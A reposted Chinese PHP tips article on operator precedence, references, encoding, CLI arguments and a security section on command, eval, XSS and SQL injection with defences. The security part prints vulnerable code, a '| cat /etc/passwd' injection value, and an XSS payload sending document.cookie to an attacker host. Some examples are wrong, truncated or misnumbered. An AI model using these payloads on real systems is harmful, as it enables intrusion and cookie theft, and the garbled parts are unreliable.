基于PHP编程需注意事项的小结
发布时间:2022-07-09 11:23 所属栏目:121 来源:互联网
导读:基于PHP编程注意事项的小结 php隐性的三元操作符(?:)优先级问题: 例1: 复制代码 代码如下:www.CuoXIn.com $person = $who or $person = laruence; //实际上是等同于: $person = empty($who)? laruence : $who; 例2 复制代码 代码如下:www.CuoXIn.com $arr
基于PHP编程注意事项的小结 php隐性的三元操作符(?:)优先级问题: 例1: 复制代码 代码如下:www.CuoXIn.com $person = $who or $person = "laruence"; //实际上是等同于: $person = empty($who)? "laruence" : $who; 例2 复制代码 代码如下:www.CuoXIn.com $arr = array(1=>1,3=>3); $i = 2; $a = 'test‘ . isset($arr[$i]) ? $arr[$i] : $i; $a 是什么? 这个问题, 咋一看觉得简单, $a = ‘test2'; 其实仔细推敲后运行的,结果是notice:Undefined index 2.. 由于优先级的问题, 连接符的优先级比三元操作符高。 首先是判断 ' test'. isset($arr[$i]) 这个字符串永远是true,因此: 引用注意事项 PHP中引用意味着用不同的名字访问同一个变量内容,引用不是C的指针(C语言中的指针里面存储的是变量的内容,在内存中存放的地址),是变量的另外一个别名或者映射。注意在 PHP 中,变量名和变量内容是不一样的,因此同样的内容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身变量名是目录条目,而变量内容则是文件本身。引用可以被看作是 Unix 文件系统中的紧密连接或者wins的快捷方式。 1)unset 一个引用,只是断开了变量名和变量内容之间的绑定。这并不意味着变量内容被销毁了 例如:不会 unset $b,只是 $a。 复制代码 代码如下:www.CuoXIn.com <?php $a = 1 ; $b =& $a ; unset ( $a ); echo $b; //输出:1: 使用unset($a)与$a=null的结果是不一样的。如果该块内存只有$a一个映射,那么unset($a)与$a=null等价,该内存的引用计数变为0,被自动回收;如果该块内存有$a和$b两个映射,那么unset($a)将导致$a=null且$b不变的情况,而$a=null会导致$a=$b=null的情况。 原因:某变量赋值为null,将导致该变量对应的内存块的引用计数直接置为0,被自动回收。 2)PHP引用是采用引用计数、写时拷贝 很多人误解Php中的引用跟C当中的指针一样,事实上并非如此,而且很大差别。C语言中的指针除了在数组传递过程中不用显式申明外,其他都需要使用*进行定义,而php中对于地址的指向(类似指针)功能不是由用户自己来实现的,是由Zend核心实现的,php中引用采用的是“引用计数、写时拷贝”的原理,(写时复制(Copy-on-Write,也缩写为COW),顾名思义,就是在写入时才真正复制一份内存进行修改。) 就是除非发生写操作,指向同一个地址的变量或者对象是不会被拷贝的,比如下面的代码: $a = array('a','c'...'n'); $b = $a; 如果程序仅执行到这里,$b和$b是相同的,但是并没有像C那样,$a和$b占用不同的内存空间,而是指向了同一块内存,这就是php和c的差别,并不需要写成$b=&$a才表示$b指向$a的内存,zend就已经帮你实现了引用,并且zend会非常智能的帮你去判断什么时候该这样处理,什么时候不该这样处理。 如果在后面继续写如下代码,增加一个函数,通过引用的方式传递参数,并打印输出数组大小。 复制代码 代码如下:www.CuoXIn.com function printArray(&$arr) //引用传递 { print(count($arr)); } printArray($a); 上面的代码中,我们通过引用把$a数组传入printArray()函数,zend引擎会认为printArray()可能会导致对$a的改变,此时就会自动为$b生产一个$a的数据拷贝,重新申请一块内存进行存储。这就是前面提到的“引用计数、写时拷贝”概念。 直观的理解:$a将使用自己原始的内存空间,而$b,则会使用新开辟的内存空间,而这个空间将使用$a的原始($a或者$b改变之前)内容空间的内容的拷贝,然后做对应的改变。 如果我们把上面的代码改成下面这样: 复制代码 代码如下:www.CuoXIn.com function printArray($arr) //值传递 { print(count($arr)); } printArray($a); 上面的代码直接传递$a值到printArray()中,此时并不存在引用传递,所以没有出现写时拷贝。 5. 编码的问题 程序代码使用utf-8码,而strlen函数是计算字符串的字节数而不是字符数? $str = “您好hello”; echo strlen($str); 结果:ANSI=9 而utf-8=11,utf-8中文字符编码是3个字节。要获取字符数,使用mb_strlen(). 6. PHP获取参数的三种方法 方法一 使用$argc $argv 复制代码 代码如下:www.CuoXIn.com <?php if ($argc > 1){ print_r($argv); } 在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456 运行结果: # /usr/local/php/bin/php ./getopt.php -f 123 -g 456 Array ( [0] => ./getopt.php [1] => -f [2] => 123 [3] => -g [4] => 456 ) 方法二 使用getopt函数() 复制代码 代码如下:www.CuoXIn.com $options = "f:g:"; $opts = getopt( $options ); print_r($opts); 在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456 运行结果: Array ( [f] => 123 [g] => 456 ) 方法三 提示用户输入,然后获取输入的参数。有点像C语言 复制代码 代码如下:www.CuoXIn.com fwrite(STDOUT, "Enter your name: "); $name = trim(fgets(STDIN)); fwrite(STDOUT, "Hello, $name!"); 在命令行下运行 /usr/local/php/bin/php ./getopt.php 运行结果 Enter your name: francis Hello, francis! 7. php的字符串即可以当做数组,和c指针字符串一样 复制代码 代码如下:www.CuoXIn.com <?php $s = '12345'; $s[$s[0]] = 0; echo $s; ?> 结果是10345 8. PHP的高效率写法: 9. PHP的安全漏洞问题: 针对PHP的网站主要存在下面几种攻击方式: 1、命令注入(Command Injection) PHP中可以使用下列5个函数来执行外部的应用程序或函数 system、exec、passthru、shell_exec、“(与shell_exec功能相同) 如: 复制代码 代码如下:www.CuoXIn.com <?php $dir = $_GET["dir"]; if (isset($dir)) { echo ""; system("ls -al ".$dir); echo ""; } ?> 我们提交http://www.test.com/ex1.php?dir=| cat /etc/passwd,命令变成了 system("ls -al | cat /etc/passwd"); 我们服务器用户信息被窃看了吧。 2、eval注入(Eval Injection) eval函数将输入的字符串参数当作PHP程序代码来执行,eval注入一般发生在攻击者能控制输入的字符串的时候。 复制代码 代码如下:www.CuoXIn.com $var = "var"; if (isset($_GET["arg"])) { $arg = $_GET["arg"]; eval("/$var = $arg;"); echo "/$var =".$var; } ?> 当我们提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了; 防范命令注入和eval注入的方法 1)、尽量不要执行外部命令。 2)、使用自定义函数或函数库来替代外部命令的功能,甚至有些服务器直接禁止使用这些函数。 3)、使用escapeshellarg函数来处理命令参数,esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“'”,替换成“/'”,双引号“"”,替换成“/"”,分号“;”替换成“/;” 3、客户端脚本攻击(Script Insertion) 客户端脚本植入的攻击步骤 1)、攻击者注册普通用户后登陆网站 2)、打开留言页面,插入攻击的js代码 3)、其他用户登录网站(包括管理员),浏览此留言的内容 4)、隐藏在留言内容中的js代码被执行,攻击成功 表单输入一些浏览器可以执行的脚本: 插入 <script>while(1){windows.open();}</script> 无限弹框 插入<script>location.href="http://www.sectop.com";</script> 跳转钓鱼页面 防止恶意HTML标签的最好办法是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。 4、跨网站脚本攻击(Cross Site Scripting, XSS) 恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。 跨站脚本攻击的一般步骤: 1)、攻击者以某种方式发送xss的http链接给目标用户,例如评论表单: 插入<script>document.location= “go.somewhere.bad?cookie=+“this.cookie</script> 或者是链接: http://w w w.my.site/index.php?user=< script >document.location="http://w w w.atacker.site/get.php?cookie="+document.cookie;< / script > 2)、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接 3)、网站执行了此xss攻击脚本 4)、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息 5)、攻击者使用目标用户的信息登录网站,完成攻击 防止恶意HTML标签的最好办法还是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。 5、SQL注入攻击(SQL injection) SQL注入最有效的防御方式是使用准备语句: 准备语句(也叫预备语句 prepared statements),是一种查询,先将他们发送到服务器进行预编译和准备,并且在以后的执行这个查询时告诉它存储参数的位置。 其优点: 1)对参数值进行转义。因此不必调用像mysqli::real_escape_string或者将参数放在引号中。 2)当在一个脚本中多次执行时,预备语句的性能通常好于每次都通过网络发送查询,当再次执行一个查询时,只将参数发送到数据库,这占用的空间比较少。 1)用PDO(PHP Data Objects ): 复制代码 代码如下:www.CuoXIn.com PHP PDO::prepare() and execute() $preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)'); $preparedStatement->execute(array(':column' => $unsafeValue)); 2) 使用mysqli: 复制代码 代码如下:www.CuoXIn.com $stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?'); $stmt->bind_param('s', $name); $stmt->execute(); $result = $stmt->get_result(); while ($row = $result->fetch_assoc()) { // do something with $row 3、Linux下命令行执行php文件的格式必须是unix。 php ./test.php 如果test.php是windos上传的,其格式可能是dos。 然后运行该命令就报错:Could not open input file 我们可以在vi中使用:set ff来查看格式: fileformat=dos 如果是dos格式,那么就要使用:set ff=unix来设置新格式 再使用:set ff来查看格式,可以看到已经是unix的格式了; fileformat=unix。 (编辑:ASP站长网) |
相关内容
网友评论
推荐文章
热点阅读